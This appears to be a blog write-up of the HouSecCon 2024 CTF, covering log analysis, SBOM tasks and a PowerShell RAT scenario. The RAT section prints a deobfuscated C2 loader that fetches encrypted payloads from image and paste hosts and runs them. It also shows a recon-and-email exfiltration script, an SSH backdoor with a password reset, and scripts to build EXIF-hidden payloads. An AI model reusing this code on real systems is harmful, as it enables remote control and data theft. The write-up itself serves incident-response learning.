Skip to content

HouSecCon 2024 – CTF Write-ups

Summary

This was a really cool CTF! It was put on by HouSecCon (Hou.Sec.Con) and Idaho National labs. A few things I really liked about it:

  • Ran for 5 days!!! I like CTFs at events but it’s often hard to balance catching some talks and socializing and trying to get those flags. This was awesome that the event opened before the event and ran through it!
  • No time-gated challenges. I don’t really like when CTFs wait until day 2 to release day 2 challenges – especially if there are many – as it can be disruptive to planning. I’m fine with challenge-gated challenges (complete some chal to see the next chal or category) but find the ones where you have to wait to be really annoying; let us use the time we have as best as possible! Fortunately, this con was great and didn’t have any of that.
  • They kept the portal up for a few days after the event which let me put this together! It’s really nice when events are able to do this.
  • Lots of challenges!
  • Educational challenges! These aren’t maybe the ‘best’ for competitive CTFs but one of the main reasons to do CTFs is to learn and I feel like they did a good job including basic log questions with information to teach you how things like bodbus and bacnet and other protocols work. Some of the harder challenges also did a great job with having the challenges also require learning a bit more about how the protocols or other things work.
  • The only con I’ll note is that there weren’t more people participating! It was a super stable and great event, would love to see more people try it out next year!

Final scores!

Huge congrats to CoB for a late night rally and taking the win!

Challenges

There were upwards of 100 challenges in the event broken into 5 main categories. There was a ‘foundational’ category and the other four were largely scenario driven challenges.

I’ll run through each section (except CTF introduction as it had only one throwaway questions) and walk through the questions. I’ll also combine a series of intro/outro questions as the very bottom These are the ones with ‘introduction’ or ‘conclusion’ in the title, they are often just 5 points and not really ctf-y.

With that, let’s dive in! This will be long so use the ToC to navigate between sections!

Security Foundations

Here’s the breakdown of the security foundations section.

Malcolm 1 to 10

Intro: I’m not going to go into detail on most of these nor include the full screenshots to save screen space. The gist of these challenges was to use Malcolm, Arkime, or Netbox to answer questions based on a security logging solution.

Question 1

I’ll include a little context on this question so you can see how the others are worked through:

First, the Malcolm main dashboard page:

From this you can see on the left a number of different dashboards defined, clicking those will have a page similar to this but with a variety of different filters and representations. In essence though, it is basically a big excel document with a bunch of tables and filters. The questions are primarily answered by finding the right dashboard and searching. Or, if you’re familiar with Lucene queries and zeek/suricata format, you can search directly for those.

For the first question – what is the most common protocol – you can look in the center ‘Application Protocol’ table to find that it’s bacnet.

Question 2

This question was asking the PDU reference number of the PLC Stop command. This is the field to look for: zeek.s7comm.pdu_reference

Question 3

In this one, we’re asked to find an uninventoried internal IP address which doesn’t have a corresponding record in Netbox.

Question 4

This question wants you to then find name of a device with a certain IP address. This is just done by finding the DNS record associated with the device in either Malcolm or Netbox.

Question 5

This challenge wants to find the plaintext flag from Arkime (a network analysis/pcap tool) for the event with communityId == "1:CCK9Wlj28QKStcTUdN6aNpm2f0w=" This can be done by searching in Arkime and looking at the packet details.

Question 6

This question asks for the cleartext password from an FTP session. In Malcolm you can filter for FTP traffic with this:

You can then look for packets containing the username/password and get the flag there:

Question 7

The next question looks into that FTP session and wants you to use Arkime to get the file and find the flag in the image.

Arkime has an ‘extracted-files’ place where you can download the binaries from. You can find the FTP transferred files here (a jpg) and it contains the flag.

Question 8

The next question is more Malcolm digging: What is the Status Code Link ID (zeek.opcua_binary_status_code_detail.status_code_link_id) for the packet with “OPCUA Binary – Action” CreateMonitoredItems?

Question 9

And more searching – What is the Community ID for the DNP3 communication containing the Read function request?

Question 10

And finally one more Malcolm query: The GENISYS parser extracts payload information, such as addresses and data, for Indication Data events.

Within the captured network traffic, how many Indication Data payloads contain address 28?

ICS & Security Basics

Question 1

There are several challenges in this category, they contain basic challenges for the following topics:

  • Forensics
  • Data Encoding
  • Cryptography
  • Web
  • Ladder Logic

For all of this category (plus the 50 point CTF Intro challenge, we get: 960 points

Okay, that was the intro section, the rest will have more detail!

Celestic

This is the first big scenario challenge we unlock, it contains an SBOM scenario, an EternalBlue logging scenario, and a 7-part PowerShell exploit & C2 scenario.

SBOM Scenario

Dropping BOMs – 1

This challenge is pretty straight forward, we’re given these two json SBOM files: https://drive.google.com/file/d/1m6a3ICgKQIU_3CkaiiIEs9GUKer9pIgj/view?usp=sharing

We can analyze these files and search for netata (in the magnezone file) and we find the answer here:

Dropping BOMs 2

This one is a little more involved. We have to read the Magnezone SBOM and then search for each package in Electivire SBOM, the difference is the answer.

Dropping BOMs – 3

This one is a bit different. We are given a ‘bin’ file, we can use binwalk to extract the data in the binary, we find a squashFS filesystem. Then we can mount or extract the files of this which will give us a little filesystem to look around.

I used grep -R for ‘netdata’ and got a lot of output, most if it pointed to /usr/share/netdata. I went to /usr and saw ‘bin’ and ‘sbin’ directories. On checking ‘sbin’ I found the binary and ran the sha256sum command to get the hash.

Remotely Exploitative

These challenges required looking into Malcolm to answer some questions about a system which was compromised.

Remotely Exploitative – 1

I looked for destinations in that range and sorted by # of packets. From there I found the scanning IP, I then filtered for that as a source and looked for connections which completed (not half-open) to find the open ports.

Remotely Exploitative – 2

I think I just looked through the traffic logs of the last answer and added ‘CVE’ to my search and found out that it was the EternalBlue CVE.

Remotely Exploitative – 3

I can’t remember the answer but I think I just filtered based on traffic from the compromised machine to the attacker machine and found the port which was listening on the attacker’s machine.

RAT from powersHELL

These questions were my favorite of this section and went through a full analysis of a compromised system and was much more technical than the others.

RAT from powersHELL – 1

File available here: https://drive.google.com/file/d/1uCNOgN9gMWTP0zmhYy-lSlPIDiSONCPD/view?usp=sharing

For this, I just filtered for all of the lines with ‘imagepath’ to see what the binaries were and got this:

<imagepath>c:\windows\system32\rdpclip.exe</imagepath>
<imagepath>c:\windows\system32\userinit.exe</imagepath>
<imagepath>c:\windows\explorer.exe</imagepath>
<imagepath>c:\windows\system32\cmd.exe</imagepath>
<imagepath>c:\program files\windows defender\msascuil.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\codesyscontrolsystray.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\gatewaysystray.exe</imagepath>
<imagepath>c:\program files (x86)\codemeter\runtime\bin\codemetercc.exe</imagepath>
<imagepath>c:\users\barry\downloads\updater.cmd</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\themeui.dll</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\shell32.dll</imagepath>
<imagepath>c:\windows\system32\ie4uinit.exe</imagepath>
<imagepath>c:\windows\system32\mscories.dll</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\mscories.dll</imagepath>
<imagepath>c:\windows\system32\iconcodecservice.dll</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>

Looking at this, one item seemed really suspicious: “c:\users\barry\downloads\updater.cmd”

RAT from powersHELL – 2

This is where things got more interested. This powershell file was heavily obfuscated and I had tried a few things before giving up and using PowerDecode to try to decipher what was going on.

The decoded script looked like this:

set ("ObAiz9") ([tyPe]'sySTEM.rUntime.iNteropSeRvICes.mARshaL'  ) ;${lCoTn}=[tYPE]'SYsTEm.cOnVERt';   ${HX2pU0}  = [TYpe]'sYsTeM.TEXt.eNcoDING'; SEt  'j1V8t' ( [TyPE]'SYStEM.IO.fiLE'  );  function gETcipheRTeXT {
    param(${iMAGE})
    ${tMp} = Get-ChildItem ${ImAGE}
    ${pathNaME} = ${Tmp}.DIrEctoRynAmE
    ${FIleNaMe} = ${TMP}.NAme
    ${CIPherTEXT} = ""
    try{
        ${sheLLOBJ} = New-Object -ComObject 'Shell.Application'
        ${FolDERoBJ} = ${shELLOBj}.namespace.Invoke(${pAThNAmE})
        ${FIlEoBj} = ${FOlDeRobJ}.parsename.Invoke(${FIleNAme})
        ${CipheRTExt} += ${foLdERobj}.getDetailsOf.Invoke(${fileoBJ}, 30)
        ${CIpHertEXT} += ${folDERobj}.getDetailsOf.Invoke(${FiLEoBJ}, 32)
    }finally{
        if(${SHElLobJ}){
              (  VarIAbLe  ("oBaIZ9") -ValueoNly )::"RELEAsEcomobjeCT"([System.__ComObject]${SheLloBj}) | out-null
        }
    }
    return ${CiPhERTExT}
}

function decRYpt{
    Param
    (
         [Parameter(MaNDatorY=${tRUE}, PoSItion=0)]
         [byte[]] ${kEY},
         [Parameter(MAndatORY=${tRUe}, pOSItiOn=1)]
         [string] ${cIpheRTexT}
    )

    ${AEScIPHER} = New-Object 'System.Security.Cryptography.AesCryptoServiceProvider'
    ${aeSCIPHER}.kEY = ${KEY}
    ${cIPhERTExtByTeS} =   ( VARIAble  'lCotN'  ).ValuE::'FromBase64String'.Invoke(${cIpHerTEXt})
    ${aEScIpHeR}.iV = ${ciPheRTexTbYTES}[0..15]
    ${DecryptOr} = ${aEscIPHEr}.CreateDecryptor.Invoke();
    ${UNEnCrypTedBYTes} = ${dECrYPToR}.TransformFinalBlock.Invoke(${CIphERTexTByteS}, 16, ${cipHERTEXtBYTeS}.leNGTH - 16)
    ${aesCipHEr}.Dispose.Invoke()
    return ${UNENCRYPTedBYtes}
}

function RUN{
    Param
    (
         [Parameter(mANDaToRY=${tRUE}, PosITiON=0)]
         [string] ${PArtIaLKEY},
         [Parameter(MandAtORy=${TRuE}, POsiTIon=1)]
         [string] ${ImAGeurl}
    )
    ${Null} = New-Item -Path (('.{0}tmp') -F'\') -ItemType 'Directory'
    ${HEXkEY} = 'BE7BFDDEFA5A56B95D6A0B9A55586D57' + ${pArTiALkeY}
    ${kEY} = [byte[]] (${HexKEY} -replace '..', (('0x{0}&,')-F '$') -split ',' -ne '')
    ${imAgE} = 'https://i.ibb.co/' + ${imagEURL} + '/ruins.jpg'
    Invoke-WebRequest -URI ${iMAGe} -OutFile (('.Y4ltmpY4ltmp.jpg') -CrePlACE('Y4l'),'\')
    ${CipHERtEXt} = GetCiphertext (('.{0}tmp{0}tmp.jpg') -f'\')
    ${uNeNcRYptEDbyTEs} = Decrypt ${kEY} ${CiPhERTeXt}
    ${PLAiNteXT} =  (VAriaBLE  ("HX2PU0")).vAlUE::"utF8".GetsTRINg(${uNEncrYPtEDbYTes})
    ${PlAINTeXt} | Out-File -FilePath '.\tmp\tmp.ps1'
    .(('.{0}tmp{0}tmp.ps1') -F '\')
    Remove-Item '.\tmp' -Recurse
}

function RUNexE {
    Param
    (
         [Parameter(MANdaToRy=${TrUe}, POsiTIon=0)]
         [string] ${pARTIAlKey},
         [Parameter(mandAtoRy=${trUE}, pOsitIOn=1)]
         [string] ${fILeUrL}
    )
    ${tarGETdiR} = (('C:EtMWindowsEtMTempEtMconfigEtM') -REpLacE 'EtM','\')
    if( -Not (Test-Path -Path ${tARgeTDIr} ) ){
        ${nUlL} = New-Item -Path ${tARGeTdIr} -ItemType 'Directory'
    }

    ${heXKEy} = ${pARTIAlkEy} + '283FF031EACE2E7B117950F49E62FA23'
    ${kEY} = [byte[]] (${hEXkEy} -replace '..', ((('0xdGH&,') -crEplacE'dGH','$')) -split ',' -ne '')

        ${pAsTEBINURL} = 'https://pastebin.com/raw/' + ${FiLEurL}
    ${cIphErTeXT} = (Invoke-WebRequest -Uri ${pAStEbINUrl}).CONTeNt

    ${PlAiNTExT} = Decrypt ${KEy} ${cIPHeRText}

    ${filenAme} = ${tARGEtDIr} + ${fILeUrl} + '.exe'
      ( Get-VARIAble 'J1V8T' -vaLuEOn )::'WriteAllBytes'.Invoke(${fILEnamE}, ${PLaInTEXt})
    Start-Process ${fiLenAmE}

    Write-Host 'Finished!'
}

${CoMmAnDsURl} = 'https://docs.google.com/spreadsheets/d/e/2PACX-1vSMvk4ESgNNMjJGyYgLXKxajAoHakXXwZfqN9mLgfxRVWI7ja6oo7BdrSqWXhjeadfnptgPljFRvmrb/pub?output=csv'

${laSTcOmmAND} = ""

while (${tRUe}) {
    ${reSPOnsE} = Invoke-WebRequest -URI ${COMMaNdSUrL}
    ${cOMMaNds} = ${RESpoNSe} -split "\n"
    ${cURRENTCOMmANd} = ${coMmANds}[${COmMANdS}.CoUNT - 1]
    ${DaTE}, ${uRl}, ${TYpE}, ${kEY} = ${CuRReNTCommaNd} -split ","
    if (${laSTCOMmAND} -ne ${DATe}) {
        ${laSTcOmManD} = ${DATE}

        if ( ${tYpE} -eq "ps1" ){
            Write-Host 'New command'
            Run${kEY} ${URl}
        }elseif( ${TyPe} -eq "exe" ){
            Write-Host 'New EXE command'
            RunExe ${Key} ${URL}
        }else{
            Write-Host 'New UNKNOWN command'
        }
    }else{
        Write-Host 'No new command'
    }
    Start-Sleep -Seconds 1800
}

The ‘CommandsURL’ appears to be the C2 url and is here: https://docs.google.com/spreadsheets/d/e/2PACX-1vSMvk4ESgNNMjJGyYgLXKxajAoHakXXwZfqN9mLgfxRVWI7ja6oo7BdrSqWXhjeadfnptgPljFRvmrb/pub?output=csv

RAT from powersHELL – 3a

These were the entries in the csv:

2023/05/04 08:05:27,rmDjMQB,ps1,129FDD7728D8B91E3B19291212BABCFF
2023/05/04 08:52:00,yUj8kcy,ps1,4C8C3F9D203EF1F7CD65B084F3DCB841
2023/05/04 09:38:28,ncBGMJjg,exe,A3E07D50DB00B8419443EC699E44BD33
2023/05/04 10:22:55,nhg4Ks2u,exe,BDC8238D54DF00B0994CF51EFFD81BA2
2023/05/04 11:07:52,OuZEXOL,ps1,038B6E6AA564BEE38E1E418F4BCA3E63
2023/05/04 11:53:06,Ax5WDqB,ps1,581DE9B4E2501247C3B5DFAB0103A29A
2023/05/04 12:30:33,qY0MWADe,exe,DAB1FC0E4F35EF885AEF1510C512AA25
2023/05/04 13:16:44,Jyy8SXm,ps1,3F963CCAEF79A49FDD851BFE943131F3
2023/05/04 13:54:30,KB3uX5eD,exe,23DF13F9B6CF1409A4A30C4709D81E9C
2023/05/04 14:32:20,cl7131y,ps1,07777B86367536149F6AE0D430F01902
2023/05/04 15:13:45,YtAhpSh,ps1,23C68759AE97B978D0DDFC19791C6AF8

I wrote this script in order to go and download the data from each as well as the associated keys, etc.

import os
import requests

def read_values(file_path):
    with open(file_path, 'r') as f:
        lines = f.readlines()
    
    # Skip the first line if it's a header
    if lines and lines[0].strip().lower().startswith('value:'):
        lines = lines[1:]
    
    values = []
    for line in lines:
        parts = line.strip().split(',')
        if len(parts) == 4:
            values.append(parts)
    return values

def download_and_save(date, base64_name, file_type, partial_key):
    folder_name = base64_name
    os.makedirs(folder_name, exist_ok=True)

    try:
        if file_type == 'ps1':
            url = f'https://i.ibb.co/{base64_name}/ruins.jpg'
            file_name = os.path.join(folder_name, "target.jpg")
        elif file_type == 'exe':
            url = f'https://pastebin.com/raw/{base64_name}'
            file_name = os.path.join(folder_name, "target.txt")
        
        response = requests.get(url)
        response.raise_for_status()
        
        with open(file_name, 'wb') as f:
            f.write(response.content)
        
        # Save metadata
        metadata = f"Date: {date}\nType: {file_type}\nPartial Key: {partial_key}"
        with open(os.path.join(folder_name, "metadata.txt"), 'w') as f:
            f.write(metadata)
        
        return True
    except Exception as e:
        print(f"Error downloading {base64_name}: {str(e)}")
        return False

def main():
    values = read_values('values.txt')
    
    if not values:
        print("No valid entries found in values.txt")
        return
    
    successful = 0
    failed = 0
    
    for value in values:
        date, base64_name, file_type, partial_key = value
        print(f"Downloading: {base64_name}")
        if download_and_save(date, base64_name, file_type, partial_key):
            print(f"Successfully downloaded: {base64_name}")
            successful += 1
        else:
            failed += 1

    print(f"\nDownload complete. Successful: {successful}, Failed: {failed}")

if __name__ == "__main__":
    main()

After I had those files, I wrote another script to decode the ones which contain powershell using the following script. This was based on looking at how the initial PowerShell deobfuscated script would take and decode the payloads.

from PIL import Image
from PIL.ExifTags import TAGS
import base64
from Crypto.Cipher import AES
import os

def get_exif_data(image_path):
    with Image.open(image_path) as image:
        exif_data = {}
        info = image._getexif()
        if info:
            for tag_id, value in info.items():
                tag = TAGS.get(tag_id, tag_id)
                exif_data[tag] = value
    return exif_data

def decrypt_data(ciphertext, key):
    if len(ciphertext) < 16:
        raise ValueError("Ciphertext is too short")
    
    iv = ciphertext[:16]
    encrypted_data = ciphertext[16:]
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    
    return decrypted_data

def main():
    image_path = "downloads/rmDjMQB/target.jpg"
    
    # Read the partial key from metadata
    with open('downloads/rmDjMQB/metadata.txt', 'r') as f:
        for line in f:
            if line.startswith('Partial Key:'):
                partial_key = line.split(':')[1].strip()
                break
    
    full_key = bytes.fromhex("BE7BFDDEFA5A56B95D6A0B9A55586D57" + partial_key)
    
    exif_data = get_exif_data(image_path)
    
    # Combine ciphertext from multiple fields
    ciphertext = ""
    if 'Model' in exif_data:
        ciphertext += exif_data['Model']
    if 'Make' in exif_data:
        ciphertext += exif_data['Make']
    
    print(f"Extracted ciphertext: {ciphertext}")
    
    try:
        decoded_data = base64.b64decode(ciphertext)
        print(f"Length of decoded data: {len(decoded_data)}")
        print(f"First 16 bytes: {decoded_data[:16].hex()}")
        
        decrypted_data = decrypt_data(decoded_data, full_key)
        print("Decrypted data:")
        
        # Try to decode as UTF-8, but if it fails, print as bytes
        try:
            print(decrypted_data.decode('utf-8', errors='ignore'))
        except UnicodeDecodeError:
            print("Failed to decode as UTF-8. Printing as bytes:")
            print(decrypted_data)
        
        # Create tmp directory if it doesn't exist
        os.makedirs('tmp', exist_ok=True)
        
        # Save the decrypted data to a file
        output_path = os.path.join('tmp', 'tmp2.ps1')
        with open(output_path, 'wb') as f:
            f.write(decrypted_data)
        print(f"\nDecrypted data saved to {output_path}")
        
    except Exception as e:
        print(f"Error during decryption: {str(e)}")

if __name__ == "__main__":
    main()

This resulted in the following output:

New-Item -Path ".\config" -ItemType Directory
	
net config Workstation | Out-File -FilePath .\config\recon.txt -Append
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | Out-File -FilePath .\config\recon.txt -Append
hostname | Out-File -FilePath .\config\recon.txt -Append
net users | Out-File -FilePath .\config\recon.txt -Append
ipconfig /all | Out-File -FilePath .\config\recon.txt -Append
route print | Out-File -FilePath .\config\recon.txt -Append
arp -A | Out-File -FilePath .\config\recon.txt -Append
netstat -ano | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show state | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show config | Out-File -FilePath .\config\recon.txt -Append
schtasks /query /fo LIST /v | Out-File -FilePath .\config\recon.txt -Append
tasklist /SVC | Out-File -FilePath .\config\recon.txt -Append
net start | Out-File -FilePath .\config\recon.txt -Append
DRIVERQUERY | Out-File -FilePath .\config\recon.txt -Append

Compress-Archive -Path .\config -DestinationPath .\config.zip
$base64string = [Convert]::ToBase64String((Get-Content -Path .\config.zip -Encoding byte))

Remove-Item .\config* -Recurse
Send-MailMessage -From 'Absol <[email protected]>' -To 'Cecilia <[email protected]>' -Subject 'Daily Update' -Body $base64string -Priority High -SmtpServer 'snowpoint.mailserver.snow'

From here, we can see that the script will ultimately send a message to ‘[email protected]’ which is our flag.

RAT from powersHELL – 3b

Similar to the last one, we need to decode the other PowerShell scripts and see if we can find the new password.

The other ‘ruins.jpg’ from the other ps1 command can be decoded in the same way just by replacing the key & the identifier. This decoding results in this file:

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Start-Service sshd

Set-Service -Name sshd -StartupType 'Automatic'

$password = ConvertTo-SecureString "m00dybIb@r3L400" -AsPlainText -Force

Set-ADAccountPassword -Identity bidoof -NewPassword $password -Reset

if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) {
    Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..."
    New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
} else {
    Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists."
}

We can see that the new password is m00dybIb@r3L400

RAT from powersHELL – 3c

For this, I needed to write a slightly different decoding script to get the binary from the payload instead of extracting powershell from a jpg.

I wrote this script to accomplish that:

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os

def decrypt_data(ciphertext, key):
    if len(ciphertext) < 16:
        raise ValueError("Ciphertext is too short")
    
    iv = ciphertext[:16]
    encrypted_data = ciphertext[16:]
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    
    # Remove padding
    return unpad(decrypted_data, AES.block_size)

def main():
    # Read the partial key from metadata
    with open('downloads/ncBGMJjg/metadata.txt', 'r') as f:
        for line in f:
            if line.startswith('Partial Key:'):
                partial_key = line.split(':')[1].strip()
                break
    
    # Construct the full key
    full_key = bytes.fromhex(partial_key + "283FF031EACE2E7B117950F49E62FA23")
    
    # Read the ciphertext from target.txt
    with open('downloads/ncBGMJjg/target.txt', 'r') as f:
        ciphertext = f.read().strip()
    
    print(f"Extracted ciphertext: {ciphertext[:50]}...")  # Print first 50 chars
    
    try:
        # Remove any whitespace or newlines before decoding
        ciphertext = ''.join(ciphertext.split())
        decoded_data = base64.b64decode(ciphertext)
        print(f"Length of decoded data: {len(decoded_data)}")
        print(f"First 16 bytes: {decoded_data[:16].hex()}")
        
        decrypted_data = decrypt_data(decoded_data, full_key)
        print("Decrypted data (first 100 bytes):")
        print(decrypted_data[:100])
        
        # Create tmp directory if it doesn't exist
        os.makedirs('tmp', exist_ok=True)
        
        # Save the decrypted data to a file
        output_path = os.path.join('tmp', 'decoded5.exe')
        with open(output_path, 'wb') as f:
            f.write(decrypted_data)
        print(f"\nDecrypted EXE saved to {output_path}")
        
        # Print MD5 hash of the output file
        import hashlib
        with open(output_path, 'rb') as f:
            md5_hash = hashlib.md5(f.read()).hexdigest()
        print(f"MD5 hash of {output_path}: {md5_hash}")
        
    except Exception as e:
        print(f"Error during decryption: {str(e)}")

if __name__ == "__main__":
    main()

We got what appeared to be a success:

 python3 .\decode_exe.py
Extracted ciphertext: Y5QQ4KhvN9ZcdtjcRycB4r0rvHsD3uCXB2oSqtLkMC874gBLvG...
Length of decoded data: 27680
First 16 bytes: 639410e0a86f37d65c76d8dc472701e2
Decrypted data (first 100 bytes):
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be'

Decrypted EXE saved to tmp\decoded5.exe
MD5 hash of tmp\decoded5.exe: 5da8c98136d98dfec4716edd79c7145f

RAT from powersHELL – 4

Up until now we had just been decoding how the C2 worked and deciphering the payloads, now we are tasked to use the C2 to ‘fix’ the system! We’re given a place to upload the jpg to make sure it works. Here are the base files they provide: https://drive.google.com/drive/folders/1gsZxX4Rulhl2qZNMgF-44PwFo5x9BkpZ?usp=sharing

I then wrote this script to encode and then hide the script in the jpg properly.

import os
import base64
from Crypto.Cipher import AES
from PIL import Image
from PIL.ExifTags import TAGS

def get_exif_dict(image_path):
    image = Image.open(image_path)
    exif_data = image._getexif()
    if exif_data:
        return {TAGS.get(tag_id, tag_id): value for tag_id, value in exif_data.items()}
    return {}

def set_exif_data(image_path, model, make):
    image = Image.open(image_path)
    exif_data = image.getexif()
    
    # Find the tag IDs for 'Model' and 'Make'
    model_tag = None
    make_tag = None
    for tag_id, tag_name in TAGS.items():
        if tag_name == 'Model':
            model_tag = tag_id
        elif tag_name == 'Make':
            make_tag = tag_id
        if model_tag and make_tag:
            break
    
    if model_tag:
        exif_data[model_tag] = model
    if make_tag:
        exif_data[make_tag] = make
    
    image.save(image_path, exif=exif_data)

def encrypt_script(script_path, full_key):
    with open(script_path, 'rb') as f:
        plaintext = f.read()
    
    cipher = AES.new(full_key, AES.MODE_CBC)
    ciphertext = cipher.iv + cipher.encrypt(pad(plaintext, AES.block_size))
    
    encoded_ciphertext = base64.b64encode(ciphertext).decode('utf-8')
    return encoded_ciphertext

def pad(data, block_size):
    padding_length = block_size - len(data) % block_size
    padding = bytes([padding_length] * padding_length)
    return data + padding

def embed_ciphertext_into_exif(image_path, ciphertext):
    # Split ciphertext into two parts for 'Model' and 'Make'
    model = ciphertext[:len(ciphertext)//2]
    make = ciphertext[len(ciphertext)//2:]
    
    set_exif_data(image_path, model, make)

def main():
    # Paths
    script_path = 'test/restore_machine.ps1'
    image_path = 'test/ruins.jpg'
    
    # Keys
    fixed_key = "BE7BFDDEFA5A56B95D6A0B9A55586D57"
    partial_key = "70D4DE3A4C4A04799D1C6226CF9FF325"  # From CSV
    full_key_hex = fixed_key + partial_key
    full_key = bytes.fromhex(full_key_hex)
    
    # Encrypt the script
    ciphertext = encrypt_script(script_path, full_key)
    
    # Embed into EXIF
    embed_ciphertext_into_exif(image_path, ciphertext)
    
    print("Encrypted script embedded into ruins.jpg successfully.")

if __name__ == "__main__":
    main()

This then let me upload the file and get the flag!

RAT from powersHELL – 5

Finally, our last challenge was to decrypt this directory based on info from one of the other hidden commands in the csv / images/binaries.

The zip file is here: https://drive.google.com/file/d/1X1cWcy0RxyWiS_YxLa0b2dijOpK5S8WF/view?usp=sharing

We find that another of the encoded commands encrypted a file by xor-ing against 0x80. I wrote this script to decode it:

import os
import sys

def generate_key(filename):
    key = 0x80
    for i, char in enumerate(filename):
        if i % 4 == 0:
            key |= ord(char)
        elif i % 4 == 1:
            key &= ord(char)
        elif i % 4 == 2:
            key += ord(char)
        else:  # i % 4 == 3
            key -= ord(char)
    return key & 0xFF

def decrypt_file(filename):
    key = generate_key(os.path.basename(filename))
    with open(filename, 'rb') as f:
        data = f.read()
    
    decrypted = bytearray()
    prev_byte = 0
    for byte in data:
        decrypted_byte = byte ^ key ^ prev_byte
        decrypted.append(decrypted_byte)
        prev_byte = byte
    
    with open(filename, 'wb') as f:
        f.write(decrypted)

def main():
    if len(sys.argv) < 2:
        print("Usage: python decrypt.py <file1> [file2] ...")
        return

    for filename in sys.argv[1:]:
        print(f"Decrypting {filename}...")
        decrypt_file(filename)
        print(f"Decryption complete for {filename}")

if __name__ == "__main__":
    main()

This results in a sensitive_data.txt file:

Backup Passwords
----------------
eCgWEBWm9sU@!4Lj
a4Edw^#rX2Zav#qN
LUPgbVq#bk*Kj89?
h?Htfx?R8ZmV6Y5$
W94w?PdGd7^_NS^m

2FA Recovery Codes
------------------
18e72-bdc8b
751b1-f1e7e
29c2e-d1fa7
7075a-4cf35
01843-7125b
2005a-69403
b277c-5832c
745ef-e5b3a

We can use the above to get our recovery code and the final flag!

I enjoyed this powersHELL section a ton and it was my favorite of the Celestic scenario.

Total Points: 2765 (minus ‘Elite Four’ challenge)

Jubilife

Jubilife was broken into the following scenarios:

  1. An Alarming BAC(net) Pain – analysis of BACnet traffic in Jubilife’s building management system
  2. The Historian Channel – analysis of historian Apache logs to detect adversarial presence and attacks
  3. Chrome-Plated Nonsense – analysis of malicious Google Chrome extensions

An Alarming BAC(net) Pain

An Alarming BAC(net) Pain – 1

Log into Malcolm and look around:

An Alarming BAC(net) Pain – 2

Look around in Malcolm some more:

An Alarming BAC(net) Pain – 3

Even more Malcolm digging…

An Alarming BAC(net) Pain – 4

This is the config file:


// Configuration File


// object-name, ip-address, firmware-revision, application-software-version
DEVICE
{
  CONFIG 1("fire-suppression", "10.120.50.12", "1.6.1", "5.4", "fire-suppression")
}

//object-name, setpoint, description, location, password 
BINARY
{
  BINARY 1(  "HD-OF",   135.0, "Heat Detector - Office",      "Office",       "a3e0f5587d")
  BINARY 2(  "HD-BR",   135.0, "Heat Detector - Break Room",  "Break Room",   "188c23496f")
  BINARY 3(  "HD-LA",   135.0, "Heat Detector - Lab A",       "Lab A",        "83994245cc")
  BINARY 4(  "HD-LB",   72.4,  "Heat Detector - Lab B",       "Lab B",        "927ab89245")
  BINARY 5(  "HD-LC",   135.0, "Heat Detector - Lab C",       "Lab C",        "035a9a360d")
  BINARY 6(  "SD-OF",   100.0, "Smoke Detector - Office",     "Office",       "113c17119a")
  BINARY 7(  "SD-BR",   100.0, "Smoke Detector - Break Room", "Break Room",   "ddf5cd93ea")
  BINARY 8(  "SD-LA",   100.0, "Smoke Detector - Lab A",      "Lab A",        "c4bb43f281")
  BINARY 9(  "SD-LB",   100.0, "Smoke Detector - Lab B",      "Lab B",        "e1009ad76f")
  BINARY 10( "SD-LC",   100.0, "Smoke Detector - Lab C",      "Lab C",        "8db63ca33c")
  BINARY 11( "VENT-OF", 1,     "Ventilation - Office",        "Office",       "2ef6eb06e4")
  BINARY 12( "VENT-BR", 1,     "Ventilation - Break Room",    "Break Room",   "9951f86bb7")
  BINARY 13( "VENT-LA", 1,     "Ventilation - Lab A",         "Lab A",        "4bdc82fd9d")
  BINARY 14( "VENT-LB", 1,     "Ventilation - Lab B",         "Lab B",        "f7b63ea4c3")
  BINARY 15( "VENT-LC", 1,     "Ventilation - Lab C",         "Lab C",        "37ab38cb4f")
}

We can use that to get the password for the device which was configured to set the wrong temperature. I don’t have screenshots of the Malcolm searches but I believe it was the one with the value: 927ab89245

The Historian Channel

The Historian Channel – 1

This challenge revolved around this access log file: https://drive.google.com/file/d/1w0ODdnp-g5Dx0Bl6TJ6QwLqiz5m9O3-1/view?usp=drive_link

I took out all of the post & get traffic to see what was going on. It was clear there was one IP who tried to log in a lot. For most users it looked like you sent a POST to /login.php and then you would redirect to index.php. For 192.168.4.146 they seemed to be redirected to login.php again and again. The last attempt seemed to have worked and was at 12:22:50.

The Historian Channel -2

